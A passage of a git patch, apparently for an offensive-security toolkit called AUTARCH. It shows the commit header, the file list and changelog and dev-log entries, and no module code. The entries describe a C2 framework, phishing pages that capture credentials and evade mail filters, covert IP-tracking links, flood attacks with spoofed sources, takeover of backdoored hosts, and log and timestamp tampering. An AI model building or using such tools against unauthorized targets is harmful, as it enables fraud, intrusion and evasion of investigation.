From 2322f6951676891bd573781beeb413a973b10fcb Mon Sep 17 00:00:00 2001 From: DigiJ Date: Tue, 3 Mar 2026 05:16:31 -0800 Subject: [PATCH] =?UTF-8?q?v2.2.0=20=E2=80=94=20Full=20arsenal=20expansion?= =?UTF-8?q?:=2016=20new=20security=20modules?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add WiFi Audit, API Fuzzer, Cloud Scanner, Threat Intel, Log Correlator, Steganography, Anti-Forensics, BLE Scanner, Forensics, RFID/NFC, Malware Sandbox, Password Toolkit, Web Scanner, Report Engine, Net Mapper, and C2 Framework. Each module includes CLI interface, Flask routes, and web UI template. Also includes Go DNS server source + binary, IP Capture service, SYN Flood, Gone Fishing mail server, and hack hijack modules from v2.0 work. Co-Authored-By: Claude Opus 4.6 --- .gitignore | 5 + CHANGELOG.md | 187 ++ DEVLOG.md | 130 ++ autarch_public.spec | 42 + core/dns_service.py | 324 ++++ core/msf.py | 322 +++- data/dns/config.json | 10 + data/dns/zones/autarch.local.json | 53 + devjournal.md | 2413 ++++++++++++++++++++++++ modules/anti_forensics.py | 580 ++++++ modules/api_fuzzer.py | 742 ++++++++ modules/ble_scanner.py | 555 ++++++ modules/c2_framework.py | 610 ++++++ modules/cloud_scan.py | 448 +++++ modules/forensics.py | 595 ++++++ modules/hack_hijack.py | 1100 +++++++++++ modules/ipcapture.py | 427 +++++ modules/loadtest.py | 1097 +++++++++++ modules/log_correlator.py | 551 ++++++ modules/malware_sandbox.py | 524 +++++ modules/net_mapper.py | 509 +++++ modules/password_toolkit.py | 796 ++++++++ modules/phishmail.py | 1489 +++++++++++++++ modules/report_engine.py | 499 +++++ modules/rfid_tools.py | 455 +++++ modules/steganography.py | 769 ++++++++ modules/threat_intel.py | 716 +++++++ modules/webapp_scanner.py | 724 +++++++ modules/wifi_audit.py | 843 +++++++++ services/dns-server/api/router.go | 1081 +++++++++++ services/dns-server/autarch-dns.exe | Bin 0 -> 11512832 bytes services/dns-server/build.sh | 26 + services/dns-server/config/config.go | 84 + services/dns-server/go.mod | 13 + services/dns-server/go.sum | 12 + services/dns-server/main.go | 84 + services/dns-server/server/dns.go | 656 +++++++ services/dns-server/server/hosts.go | 349 ++++ services/dns-server/server/resolver.go | 528 ++++++ services/dns-server/server/zones.go | 525 ++++++ setup_msi.py | 42 + web/app.py | 42 + web/routes/anti_forensics.py | 97 + web/routes/api_fuzzer.py | 95 + web/routes/ble_scanner.py | 76 + web/routes/c2_framework.py | 134 ++ web/routes/cloud_scan.py | 60 + web/routes/dns_service.py | 691 +++++++ web/routes/forensics.py | 71 + web/routes/hack_hijack.py | 139 ++ web/routes/ipcapture.py | 172 ++ web/routes/loadtest.py | 144 ++ web/routes/log_correlator.py | 82 + web/routes/malware_sandbox.py | 71 + web/routes/net_mapper.py | 85 + web/routes/offense.py | 182 +- web/routes/password_toolkit.py | 144 ++ web/routes/phishmail.py | 516 +++++ web/routes/report_engine.py | 108 ++ web/routes/rfid_tools.py | 90 + web/routes/steganography.py | 96 + web/routes/threat_intel.py | 125 ++ web/routes/webapp_scanner.py | 79 + web/routes/wifi_audit.py | 137 ++ web/templates/anti_forensics.html | 408 ++++ web/templates/api_fuzzer.html | 595 ++++++ web/templates/base.html | 22 + web/templates/ble_scanner.html | 515 +++++ web/templates/c2_framework.html | 260 +++ web/templates/cloud_scan.html | 275 +++ web/templates/dns_nameserver.html | 1556 +++++++++++++++ web/templates/dns_service.html | 1607 ++++++++++++++++ web/templates/forensics.html | 562 ++++++ web/templates/hack_hijack.html | 391 ++++ web/templates/ipcapture.html | 233 +++ web/templates/loadtest.html | 457 +++++ web/templates/log_correlator.html | 473 +++++ web/templates/malware_sandbox.html | 408 ++++ web/templates/net_mapper.html | 264 +++ web/templates/offense.html | 520 ++++- web/templates/password_toolkit.html | 385 ++++ web/templates/phishmail.html | 1091 +++++++++++ web/templates/report_engine.html | 246 +++ web/templates/rfid_tools.html | 286 +++ web/templates/steganography.html | 431 +++++ web/templates/threat_intel.html | 606 ++++++ web/templates/webapp_scanner.html | 241 +++ web/templates/wifi_audit.html | 453 +++++ 88 files changed, 36458 insertions(+), 178 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 core/dns_service.py create mode 100644 data/dns/config.json create mode 100644 data/dns/zones/autarch.local.json create mode 100644 devjournal.md create mode 100644 modules/anti_forensics.py create mode 100644 modules/api_fuzzer.py create mode 100644 modules/ble_scanner.py create mode 100644 modules/c2_framework.py create mode 100644 modules/cloud_scan.py create mode 100644 modules/forensics.py create mode 100644 modules/hack_hijack.py create mode 100644 modules/ipcapture.py create mode 100644 modules/loadtest.py create mode 100644 modules/log_correlator.py create mode 100644 modules/malware_sandbox.py create mode 100644 modules/net_mapper.py create mode 100644 modules/password_toolkit.py create mode 100644 modules/phishmail.py create mode 100644 modules/report_engine.py create mode 100644 modules/rfid_tools.py create mode 100644 modules/steganography.py create mode 100644 modules/threat_intel.py create mode 100644 modules/webapp_scanner.py create mode 100644 modules/wifi_audit.py create mode 100644 services/dns-server/api/router.go create mode 100644 services/dns-server/autarch-dns.exe create mode 100644 services/dns-server/build.sh create mode 100644 services/dns-server/config/config.go create mode 100644 services/dns-server/go.mod create mode 100644 services/dns-server/go.sum create mode 100644 services/dns-server/main.go create mode 100644 services/dns-server/server/dns.go create mode 100644 services/dns-server/server/hosts.go create mode 100644 services/dns-server/server/resolver.go create mode 100644 services/dns-server/server/zones.go create mode 100644 web/routes/anti_forensics.py create mode 100644 web/routes/api_fuzzer.py create mode 100644 web/routes/ble_scanner.py create mode 100644 web/routes/c2_framework.py create mode 100644 web/routes/cloud_scan.py create mode 100644 web/routes/dns_service.py create mode 100644 web/routes/forensics.py create mode 100644 web/routes/hack_hijack.py create mode 100644 web/routes/ipcapture.py create mode 100644 web/routes/loadtest.py create mode 100644 web/routes/log_correlator.py create mode 100644 web/routes/malware_sandbox.py create mode 100644 web/routes/net_mapper.py create mode 100644 web/routes/password_toolkit.py create mode 100644 web/routes/phishmail.py create mode 100644 web/routes/report_engine.py create mode 100644 web/routes/rfid_tools.py create mode 100644 web/routes/steganography.py create mode 100644 web/routes/threat_intel.py create mode 100644 web/routes/webapp_scanner.py create mode 100644 web/routes/wifi_audit.py create mode 100644 web/templates/anti_forensics.html create mode 100644 web/templates/api_fuzzer.html create mode 100644 web/templates/ble_scanner.html create mode 100644 web/templates/c2_framework.html create mode 100644 web/templates/cloud_scan.html create mode 100644 web/templates/dns_nameserver.html create mode 100644 web/templates/dns_service.html create mode 100644 web/templates/forensics.html create mode 100644 web/templates/hack_hijack.html create mode 100644 web/templates/ipcapture.html create mode 100644 web/templates/loadtest.html create mode 100644 web/templates/log_correlator.html create mode 100644 web/templates/malware_sandbox.html create mode 100644 web/templates/net_mapper.html create mode 100644 web/templates/password_toolkit.html create mode 100644 web/templates/phishmail.html create mode 100644 web/templates/report_engine.html create mode 100644 web/templates/rfid_tools.html create mode 100644 web/templates/steganography.html create mode 100644 web/templates/threat_intel.html create mode 100644 web/templates/webapp_scanner.html create mode 100644 web/templates/wifi_audit.html diff --git a/.gitignore b/.gitignore index c066dab..779b904 100644 --- a/.gitignore +++ b/.gitignore @@ -59,7 +59,9 @@ android/ dist/ build/ build_temp/ +release/ *.spec.bak +*.zip # Local utility scripts kill_autarch.bat @@ -71,6 +73,9 @@ Thumbs.db # Claude Code .claude/ +# Development planning docs +phase2.md + # Snoop data snoop/ data/sites/snoop_full.json diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..c0b1764 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,187 @@ +# AUTARCH Changelog + +--- + +## v2.2.0 — 2026-03-03 + +### Full Arsenal Expansion — 16 New Modules + +Phase 2 complete. 16 new security modules with full CLI, Flask routes, and web UI templates. + +#### Offense +- **WiFi Auditing** (`/wifi/`) — aircrack-ng integration: monitor mode, AP scanning, deauth attacks, WPA handshake capture/crack, WPS Pixie-Dust, rogue AP detection, packet capture +- **API Fuzzer** (`/api-fuzzer/`) — OpenAPI/Swagger discovery, parameter fuzzing (SQLi/XSS/traversal/type confusion), auth bypass & IDOR testing, rate limit probing, GraphQL introspection attacks +- **Cloud Security Scanner** (`/cloud/`) — S3/GCS/Azure blob enumeration, exposed service scanning, IMDS metadata SSRF checks, cloud subdomain enumeration +- **C2 Framework** (`/c2/`) — multi-session agent management, Python/PowerShell/Bash payloads, HTTP/HTTPS/DNS beaconing, file transfer, SOCKS pivoting, listener management +- **Web Application Scanner** (`/webscan/`) — directory bruteforce, subdomain enum, SQLi/XSS detection, header analysis, tech fingerprinting, SSL/TLS audit, crawler + +#### Defense +- **Threat Intel Feed** (`/threat-intel/`) — IOC management (IP/domain/hash/URL), STIX/CSV/JSON feed ingestion, VirusTotal & AbuseIPDB API lookups, network correlation, blocklist export (iptables/nginx/snort) +- **Log Correlator** (`/logs/`) — multi-format log parsing (syslog/Apache/JSON), 10 built-in detection rules (SSH brute force, SQLi, XSS, path traversal), threshold alerting, custom rules, timeline view + +#### Counter +- **Steganography** (`/stego/`) — LSB image encoding (PNG/BMP), audio steganography (WAV), document whitespace encoding (zero-width chars), AES-256 pre-encryption, chi-square & RS statistical detection +- **Anti-Forensics** (`/anti-forensics/`) — multi-pass secure file/directory deletion, free space wiping, timestamp manipulation (set/clone/randomize), log clearing, shell history scrubbing, EXIF & PDF metadata stripping + +#### Analyze +- **Password Toolkit** (`/passwords/`) — hash identification & cracking (hashcat/john integration), secure password generation, credential spray testing (SSH/FTP/SMB/HTTP), wordlist management, policy auditing +- **Network Topology Mapper** (`/netmap/`) — ARP/ICMP/TCP host discovery, service enumeration, OS fingerprinting, SVG topology visualization, subnet grouping, scan diffing +- **Reporting Engine** (`/reports/`) — structured pentest reports, CVSS-scored findings, auto-population from scans & dossiers, PDF/HTML/Markdown export, compliance mapping (OWASP/NIST/CIS) +- **BLE Scanner** (`/ble/`) — BLE advertisement scanning via bleak, service & characteristic enumeration, read/write operations, known vulnerability database, RSSI proximity tracking +- **Forensics Toolkit** (`/forensics/`) — disk imaging (dd + hash verification), file carving by magic bytes (15 types), EXIF metadata extraction, filesystem timeline builder, chain of custody logging +- **RFID/NFC Tools** (`/rfid/`) — Proxmark3 integration (LF/HF search, EM410x read/clone/sim, MIFARE dump/clone), libnfc NFC scanning, card database, default MIFARE keys +- **Malware Sandbox** (`/sandbox/`) — sample submission (file upload or path), static analysis (strings, PE/ELF parsing, YARA-like indicators, risk scoring), Docker-based dynamic analysis with behavior logging + +### Build System +- All 16 modules wired into `web/app.py` (blueprint registration), `base.html` (sidebar navigation), `autarch_public.spec` and `setup_msi.py` (hidden imports) +- Sidebar organized by category: Defense, Offense, Counter, Analyze + +--- + +## v2.1.0 — 2026-03-03 + +### DNS-over-TLS (DoT) & DNS-over-HTTPS (DoH) + +- **Full DoT implementation** — encrypted DNS queries over TLS (port 853) with certificate validation +- **Full DoH implementation** — encrypted DNS queries over HTTPS (RFC 8484, wire-format POST) +- **Auto-detection** for known encrypted providers: + - Google DNS (`8.8.8.8`, `8.8.4.4`) — DoT via `dns.google`, DoH via `https://dns.google/dns-query` + - Cloudflare (`1.1.1.1`, `1.0.0.1`) — DoT via `one.one.one.one`, DoH via `https://cloudflare-dns.com/dns-query` + - Quad9 (`9.9.9.9`, `149.112.112.112`) — DoT via `dns.quad9.net`, DoH via `https://dns.quad9.net/dns-query` + - OpenDNS (`208.67.222.222`, `208.67.220.220`) — DoT/DoH via `dns.opendns.com` + - AdGuard (`94.140.14.14`, `94.140.15.15`) — DoT/DoH via `dns.adguard-dns.com` +- **Priority chain**: DoH > DoT > Plain DNS — auto-fallback on failure +- **Encryption test tool** in the Nameserver UI — live test DoT/DoH/Plain against any server with latency reporting +- **Toggle controls** — enable/disable DoT and DoH independently via UI or API +- **API endpoints**: `GET/POST /api/encryption`, `POST /api/encryption/test` + +### Hosts File Support + +- **Hosts-file parser** — `/etc/hosts` style hostname resolution served via DNS +- **Resolution priority**: Hosts file entries checked before zones and cache for fastest local resolution +- **CRUD operations** — add, remove, search individual host entries via UI or API +- **Bulk import** — paste hosts-file format text or load from a file path (e.g., `/etc/hosts`, `C:\Windows\System32\drivers\etc\hosts`) +- **System hosts loader** — one-click button to load the OS hosts file +- **Export** — download current hosts database in standard hosts-file format +- **PTR reverse lookup** — hosts entries support reverse DNS (in-addr.arpa) queries +- **Alias support** — multiple hostnames per IP, matching on primary hostname or any alias +- **Hosts tab** in Nameserver UI — full management table with search, inline add, import/export +- **API endpoints**: `GET/POST/DELETE /api/hosts`, `POST /api/hosts/import`, `GET /api/hosts/export` + +### EZ Intranet Domain (One-Click Local DNS) + +- **One-click intranet domain creation** in the Nameserver UI +- **Auto network detection** — discovers local IP, hostname, gateway, subnet via socket/ARP +- **Host discovery** — scans ARP table for all devices on the network with reverse DNS lookup +- **Editable DNS names** — auto-suggests names for discovered hosts, fully editable before deployment +- **Custom hosts** — add arbitrary hosts not found by network scan +- **Deployment creates**: + - Forward DNS zone with SOA + NS records + - A records for server, hostname, and all selected/custom hosts + - Hosts-file entries for instant resolution + - Reverse DNS zone (PTR records) for reverse lookups +- **Client configuration** — shows copy-paste instructions for Windows (`netsh`) and Linux (`resolv.conf`/`systemd-resolved`) +- **Router DHCP hint** — advises setting the DNS server IP in router DHCP for automatic network-wide deployment +- **API endpoint**: `POST /dns/ez-intranet` + +### Full Configuration UI + +Expanded the Config tab from 5 fields to 18 fields across 5 categories: + +- **Network** — DNS listen address, API listen address, upstream forwarder servers +- **Cache & Performance** — cache TTL, negative cache TTL (NXDOMAIN), SERVFAIL cache TTL, query log max entries, max UDP response size, rate limit (queries/sec/IP), prefetch toggle +- **Security** — query logging, refuse ANY queries (anti-amplification), minimal responses (hide server info), zone transfer ACL (AXFR/IXFR whitelist) +- **Encryption** — DoH enable/disable, DoT enable/disable with priority explanation +- **Hosts** — hosts file path, auto-load on startup toggle + +All settings are live-editable from the dashboard and propagated to the running server without restart. + +### Go DNS Server Changes + +- **`server/resolver.go`** — added `QueryUpstreamDoT()`, `QueryUpstreamDoH()`, `queryUpstreamEncrypted()`, `GetEncryptionStatus()` with TLS 1.2+ minimum, HTTP/2 for DoH, proper SNI for DoT +- **`server/hosts.go`** — new file: `HostsStore` with `LoadFile()`, `LoadFromText()`, `Add()`, `Remove()`, `Lookup()`, `Export()`, PTR support +- **`server/dns.go`** — integrated hosts lookup before zone lookup in query handler; added `GetHosts()`, `GetEncryptionStatus()`, `SetEncryption()`, `GetResolver()` +- **`config/config.go`** — added `HostsFile`, `HostsAutoLoad`, `QueryLogMax`, `NegativeCacheTTL`, `PrefetchEnabled`, `ServFailCacheTTL` +- **`api/router.go`** — added 5 new endpoint groups: hosts CRUD, hosts import/export, encryption status/toggle, encryption test, full config expansion +- **`main.go`** — version bump to 2.1.0 + +### Web Dashboard Changes + +- **`web/templates/dns_nameserver.html`** — added 3 new tabs: Encryption, Hosts, EZ Intranet (13 tabs total) +- **`web/templates/dns_service.html`** — expanded Config tab with all 18 settings in categorized layout +- **`web/routes/dns_service.py`** — added 8 new routes: hosts CRUD, hosts import/export, encryption status/toggle/test, EZ intranet deploy + +--- + +## v2.0.0 — 2026-03-03 + +### Go DNS/Nameserver Service + +- **Full recursive DNS resolver** from IANA root hints — no upstream dependency +- **13 root server** iterative resolution with delegation chain following +- **CNAME chain following** across zone boundaries +- **Authoritative zone hosting** with JSON-backed zone storage +- **Record types**: A, AAAA, CNAME, MX, TXT, NS, SRV, PTR, SOA +- **DNSSEC toggle** per zone +- **DNS caching** with configurable TTL and automatic cleanup +- **Query logging** with ring buffer (configurable size) +- **Analytics**: top domains, query type distribution, per-client query counts +- **Blocklist**: exact match + wildcard parent domain matching, bulk import (hosts-file format) +- **Conditional forwarding**: zone-specific upstream server rules +- **Root health check**: concurrent ping of all 13 IANA root servers with latency measurement +- **Benchmark tool**: multi-domain latency testing with min/avg/max statistics +- **Zone import/export**: BIND zone file format support +- **Zone cloning**: duplicate zone with all records +- **Bulk record operations**: add multiple records in a single request +- **Mail record auto-setup**: one-click MX + SPF + DKIM + DMARC creation +- **Security hardening**: refuse ANY (anti-amplification), minimal responses, AXFR/IXFR blocking, rate limiting, max UDP size (1232 bytes for safe MTU) +- **REST API**: 30+ endpoints with token auth and CORS + +### Nameserver Web UI (10 tabs) + +- **Query** — DNS query tester against local NS or system resolver +- **Query Log** — auto-refreshing query history with filtering +- **Analytics** — top domains (bar charts), query type distribution, client stats, NS cache viewer +- **Cache** — searchable cache viewer with per-entry and full flush +- **Blocklist** — add/remove/search domains, bulk import in hosts-file format +- **Forwarding** — conditional forwarding rule management +- **Root Health** — concurrent check of all 13 root servers with latency bars +- **Benchmark** — multi-domain latency testing with visual results +- **Delegation** — NS delegation record generator with glue record instructions +- **Build** — Go binary compilation controls and instructions + +### DNS Zone Manager Web UI (7 tabs) + +- **Zones** — create/delete/clone zones +- **Records** — full CRUD with bulk add (JSON), filtering by type/search, column sorting +- **EZ-Local** — network auto-scan intranet domain setup with ARP host discovery +- **Reverse Proxy** — DDNS, nginx/Caddy/Apache config generation, UPnP port forwarding +- **Import/Export** — BIND zone file backup/restore with inline editor +- **Templates** — quick-setup for web server, mail server, PTR, subdomain delegation +- **Config** — full server configuration panel + +### Gone Fishing Mail Server Enhancements + +- **Landing pages** — 4 built-in phishing templates (Office 365, Google, Generic, VPN) + custom HTML editor +- **Credential capture** — form POST interception on unauthenticated endpoints with IP/UA/referer logging +- **DKIM signing** — OpenSSL RSA 2048-bit keypair generation and DNS record instructions +- **DNS auto-setup** — automatic MX/SPF/DKIM/DMARC record creation via DNS service integration +- **Email evasion** — Unicode homoglyphs (30% swap), zero-width character insertion (15%), HTML entity encoding (20%) +- **Header manipulation** — random X-Mailer, X-Priority, custom headers, spoofed Received chain generation +- **CSV import/export** — bulk target import and credential capture export +- **Campaign management** — per-campaign tracking, export, and capture association + +### IP Capture & Redirect Service + +- **Stealthy link tracking** — fast 302 redirect with IP/UA/headers capture +- **Realistic URL disguise** — article-style paths that look like real news URLs +- **GeoIP lookup** on captured IPs +- **Dossier integration** — add captures to existing OSINT dossiers +- **Management UI** — create/manage links, view captures with filtering, export + +### SYN Flood Module + +- **TCP SYN flood** attack tool with configurable parameters +- **Multi-threaded** packet generation +- **Port targeting** — single port, range, or random +- **Source IP spoofing** options diff --git a/DEVLOG.md b/DEVLOG.md index 9731f5e..24a404b 100644 --- a/DEVLOG.md +++ b/DEVLOG.md @@ -5610,3 +5610,133 @@ Wired Hal chat to the Agent system so it can create new AUTARCH modules on deman --- +## Phase 5 — Arsenal Expansion (2026-03-03) + +Major expansion adding 11 new modules across all categories: DNS service, IP capture, phishing mail, load testing, hack hijack, password toolkit, web app scanner, reporting engine, network topology mapper, and C2 framework. + +### Phase 5.0 — Go DNS/Nameserver Service + +**Problem:** No built-in DNS/nameserver capability. Phishing, C2, and OSINT operations all benefit from authoritative DNS control but required external tools. + +**Fix:** Built a standalone Go DNS server (`services/dns-server/`) with full zone management, record CRUD, DNSSEC signing, and upstream recursive resolution. Python management layer wraps the Go binary via HTTP REST API. Web dashboard provides zone editor, record management, DNSSEC toggle, and live metrics. + +**Files Changed:** +- `services/dns-server/` (NEW) — Go DNS server: `main.go`, `server/dns.go`, `server/zones.go`, `server/dnssec.go`, `server/resolver.go`, `api/router.go`, `api/zones.go`, `api/status.go`, `api/middleware.go`, `config/config.go`, `build.sh` +- `core/dns_service.py` (NEW) — `DNSServiceManager` singleton: binary discovery, process lifecycle, REST API proxy, zone/record CRUD, mail record setup, DNSSEC management, metrics +- `web/routes/dns_service.py` (NEW) — Blueprint `dns_service_bp`, 15+ endpoints proxying to Go API +- `web/templates/dns_service.html` (NEW) — Zone manager, record editor, DNSSEC panel, metrics dashboard +- `autarch_settings.conf` — Added `[dns]` section (enabled, listen, api_port, upstream, auto_start) + +### Phase 5.1 — IP Capture Redirect Service + +**Problem:** No way to track who clicks a link and capture their IP/metadata for OSINT operations. + +**Fix:** Created stealthy IP capture service with fast 302 redirects, realistic disguised URLs (looks like real article paths), full header capture (IP, User-Agent, Accept-Language, Referer, timezone), GeoIP lookup, and dossier integration. Capture endpoints are unauthenticated for stealth; management UI is behind login. + +**Files Changed:** +- `modules/ipcapture.py` (NEW, ~350 lines) — `IPCaptureService` class: link creation with disguise types, capture recording with full header extraction, GeoIP lookup, dossier integration, CSV/JSON export. CLI `run()` with 5 menu options. +- `web/routes/ipcapture.py` (NEW, ~120 lines) — Blueprint `ipcapture_bp`: link CRUD, capture viewer, export, unauthenticated capture endpoints (`/c/`, `/article/`) +- `web/templates/ipcapture.html` (NEW, ~300 lines) — 2 tabs: Create & Manage (link form, active links table, copy-to-clipboard, QR codes), Captures (per-link log with IP/geo/timestamp/UA, map, export, "Add to Dossier") + +### Phase 5.2 — Gone Fishing Mail Service + +**Problem:** No built-in phishing email capability for authorized penetration testing engagements. + +**Fix:** Full SMTP phishing mail service with HTML template editor, attachment support, sender spoofing, DKIM signing, self-signed TLS cert generation, campaign tracking, and DNS service integration for auto-creating MX/SPF/DKIM/DMARC records. + +**Files Changed:** +- `modules/phishmail.py` (NEW) — `PhishMailService` class: SMTP sending with spoofed headers, HTML templates, DKIM signing, TLS cert generation, campaign management, DNS auto-setup +- `web/routes/phishmail.py` (NEW) — Blueprint `phishmail_bp`: compose, send, templates, campaigns, DNS integration +- `web/templates/phishmail.html` (NEW) — 4 tabs: Compose (WYSIWYG-like), Templates, Campaigns, Server & Certs (DNS integration section) + +### Phase 5.3 — SYN Flood / Load Testing + +**Problem:** No built-in network stress testing / DDoS simulation for authorized testing. + +**Fix:** Created load testing module with SYN flood (raw sockets), HTTP flood (GET/POST), UDP flood, and Slowloris attack modes. Configurable threads, duration, packet size. Real-time stats via SSE. + +**Files Changed:** +- `modules/loadtest.py` (NEW) — `LoadTestService` class: SYN/HTTP/UDP/Slowloris flood modes, threaded execution, real-time statistics, bandwidth calculation +- `web/routes/loadtest.py` (NEW) — Blueprint `loadtest_bp`: start/stop/status endpoints, SSE stats stream +- `web/templates/loadtest.html` (NEW) — Attack mode selector, target config, live stats dashboard with packets/sec and bandwidth graphs + +### Phase 5.4 — Hack Hijack + +**Problem:** No way to scan for and take over already-compromised systems — devices with existing backdoors, RAT listeners, web shells, bind shells, or crypto miners. + +**Fix:** Created offense module with 25+ backdoor signatures covering EternalBlue/DoublePulsar, major RATs (Meterpreter, Cobalt Strike, njRAT, DarkComet, Quasar, AsyncRAT, Gh0st, Poison Ivy), shell backdoors, web shells (20+ common paths probed), SOCKS/HTTP proxies, and crypto miners. DoublePulsar detection uses SMB Trans2 SESSION_SETUP probe with MID manipulation analysis. Threaded scanning with configurable concurrency. + +**Files Changed:** +- `modules/hack_hijack.py` (NEW, ~580 lines) — `HackHijackService` class: `scan_target()` (threaded port scan + signature matching), `_check_doublepulsar()` (SMB Trans2 probe), `_check_smb()` (nmap MS17-010), `connect_raw_shell()`, `shell_execute()`, `attempt_takeover()`, `_detect_webshell()`. 25+ `BackdoorSignature` dataclasses. Singleton `get_hack_hijack()`. CLI `run()` with 5 options. +- `web/routes/hack_hijack.py` (NEW, ~100 lines) — Blueprint `hack_hijack_bp`: scan (POST + poll), takeover, sessions CRUD, shell exec, history +- `web/templates/hack_hijack.html` (NEW, ~250 lines) — 4 tabs: Scan Target, Results (color-coded confidence + category badges), Sessions (interactive shell terminal), History + +### Phase 5.5 — Password Toolkit + +**Problem:** No built-in hash analysis or password cracking capability. + +**Fix:** Created analyze module with 22 hash type signatures (MD5 through bcrypt/scrypt/Argon2), hashcat/John integration via subprocess with Python fallback for common hashes, configurable password generator with pattern syntax (`?u`/`?l`/`?d`/`?s`/`?a`), entropy-based password auditing, and credential spray testing against SSH/FTP/SMB services. + +**Files Changed:** +- `modules/password_toolkit.py` (NEW, ~480 lines) — `PasswordToolkit` class: `identify_hash()` (22 regex signatures with hashcat mode + john format), `crack_hash()` (hashcat → john → python fallback), `generate_password()` (charset + pattern), `audit_password()` (entropy + policy), `credential_spray()` (SSH/FTP/SMB), `list_wordlists()`, `hash_string()`. Singleton `get_password_toolkit()`. +- `web/routes/password_toolkit.py` (NEW, ~120 lines) — Blueprint `password_toolkit_bp`, 12 endpoints +- `web/templates/password_toolkit.html` (NEW, ~250 lines) — 5 tabs: Identify, Crack, Generate, Spray, Wordlists. Live password audit with animated strength bar. + +### Phase 5.6 — Web Application Scanner + +**Problem:** No built-in web vulnerability scanner for authorized penetration testing. + +**Fix:** Created offense module with directory bruteforce (threaded, ~60 built-in paths + custom wordlists), subdomain enumeration (crt.sh CT logs + DNS brute), technology fingerprinting (17 signatures: WordPress, Drupal, Laravel, Django, React, Angular, etc.), security header analysis (10 checks), SSL/TLS audit, SQLi detection (error-based signatures), XSS detection (reflected payloads), and site crawling with depth control. + +**Files Changed:** +- `modules/webapp_scanner.py` (NEW, ~500 lines) — `WebAppScanner` class: `quick_scan()` (headers + tech + SSL), `dir_bruteforce()` (threaded), `subdomain_enum()` (CT logs + DNS brute), `vuln_scan()` (SQLi + XSS), `crawl()` (spider with depth), `_check_ssl()`, `_fingerprint_tech()`. 17 `TECH_SIGNATURES`, 10 `SECURITY_HEADERS`, `SQLI_PAYLOADS`, `XSS_PAYLOADS`, `SQL_ERRORS`. +- `web/routes/webapp_scanner.py` (NEW, ~60 lines) — Blueprint `webapp_scanner_bp`, 6 endpoints +- `web/templates/webapp_scanner.html` (NEW, ~200 lines) — 5 tabs: Quick Scan, Dir Brute, Subdomains, Vuln Scan, Crawl + +### Phase 5.7 — Reporting Engine + +**Problem:** No structured way to compile pentest findings into professional reports. + +**Fix:** Created analyze module with structured report builder (executive summary, scope, methodology, findings, recommendations), 10 pre-built finding templates with CVSS scores mapped to OWASP Top 10 (SQLi 9.8, XSS 7.5, Broken Auth 9.1, IDOR 7.5, Missing Headers 3.1, etc.), and export to HTML (styled with severity summary), Markdown, and JSON formats. JSON file persistence per report in `data/reports/`. + +**Files Changed:** +- `modules/report_engine.py` (NEW, ~380 lines) — `ReportEngine` class: `create_report()`, `add_finding()`, `update_finding()`, `export_html()` (styled HTML with severity breakdown), `export_markdown()`, `export_json()`. 10 `FINDING_TEMPLATES` with CVSS scores. Singleton `get_report_engine()`. +- `web/routes/report_engine.py` (NEW, ~90 lines) — Blueprint `report_engine_bp`, 11 endpoints +- `web/templates/report_engine.html` (NEW, ~220 lines) — 3 tabs: Reports (list + create), Editor (severity summary + findings + export), Templates (pre-built finding types) + +### Phase 5.8 — Network Topology Mapper + +**Problem:** No visual network mapping capability beyond raw nmap output. + +**Fix:** Created analyze module with host discovery (nmap or ICMP/TCP ping sweep, 100 concurrent threads), service enumeration with OS fingerprinting, SVG topology visualization with force-directed layout, auto-grouping by subnet, scan persistence with diff comparison (new/removed/unchanged hosts over time), and CIDR expansion via `struct.unpack`/`socket.inet_aton`. + +**Files Changed:** +- `modules/net_mapper.py` (NEW, ~400 lines) — `NetMapper` class: `discover_hosts()` (nmap/ping sweep), `scan_host()` (nmap or socket fallback), `build_topology()` (nodes + edges graph), `save_scan()`, `load_scan()`, `diff_scans()`. `Host` dataclass. Singleton `get_net_mapper()`. +- `web/routes/net_mapper.py` (NEW, ~70 lines) — Blueprint `net_mapper_bp`, 8 endpoints (discover + poll, scan-host, topology, scans CRUD, diff) +- `web/templates/net_mapper.html` (NEW, ~200 lines) — 3 tabs: Discover (host table with detail scan), Map (SVG topology with color-coded node types), Saved Scans (list + diff comparison) + +### Phase 5.9 — C2 Framework + +**Problem:** Reverse shell listener existed but no multi-agent command & control infrastructure. + +**Fix:** Created offense module with multi-listener TCP server, multi-agent management, task queue architecture, and agent templates for Python/Bash/PowerShell with configurable beacon interval and jitter. Agents support: register, exec, download, upload, sysinfo commands. Communication via HTTP beaconing or raw TCP. Web UI provides agent dashboard with auto-refresh, interactive shell, and payload generator with one-liners. + +**Files Changed:** +- `modules/c2_framework.py` (NEW, ~500 lines) — `C2Server` class: `start_listener()` (TCP accept loop), `_handle_agent()` (registration + task dispatch), `queue_task()`, `execute_command()`, `download_file()`, `upload_file()`, `generate_agent()`, `get_oneliner()`. `PYTHON_AGENT_TEMPLATE`, `BASH_AGENT_TEMPLATE`, `POWERSHELL_AGENT_TEMPLATE`. Singleton `get_c2_server()`. +- `web/routes/c2_framework.py` (NEW, ~100 lines) — Blueprint `c2_framework_bp`, 12 endpoints (listeners, agents, tasks, generate, oneliner) +- `web/templates/c2_framework.html` (NEW, ~220 lines) — 3 tabs: Dashboard (listeners + agents + task queue with 10s auto-refresh), Agents (interactive shell terminal), Generate (agent payloads + one-liners with copy-to-clipboard) + +### Phase 5.10 — Wiring & Build Config + +**Problem:** All new modules needed to be wired into the Flask app, sidebar navigation, and build configs. + +**Fix:** Registered all 11 new blueprints in `web/app.py`, added sidebar links under appropriate categories in `base.html`, and added all modules to hidden imports in both `autarch_public.spec` (PyInstaller) and `setup_msi.py` (cx_Freeze). + +**Files Changed:** +- `web/app.py` — Added imports + `register_blueprint()` for: `llm_trainer_bp`, `autonomy_bp`, `loadtest_bp`, `phishmail_bp`, `dns_service_bp`, `ipcapture_bp`, `hack_hijack_bp`, `password_toolkit_bp`, `webapp_scanner_bp`, `report_engine_bp`, `net_mapper_bp`, `c2_framework_bp` +- `web/templates/base.html` — Sidebar additions: Defense: `└ Defender Monitor`; Offense: `└ Load Test`, `└ Gone Fishing`, `└ Hack Hijack`, `└ Web Scanner`, `└ C2 Framework`; Analyze: `└ Hash Toolkit`, `└ LLM Trainer`, `└ Password Toolkit`, `└ Net Mapper`, `└ Reports`; OSINT: `└ IP Capture`; System: `└ DNS Server` +- `autarch_public.spec` — Added 12 new entries to 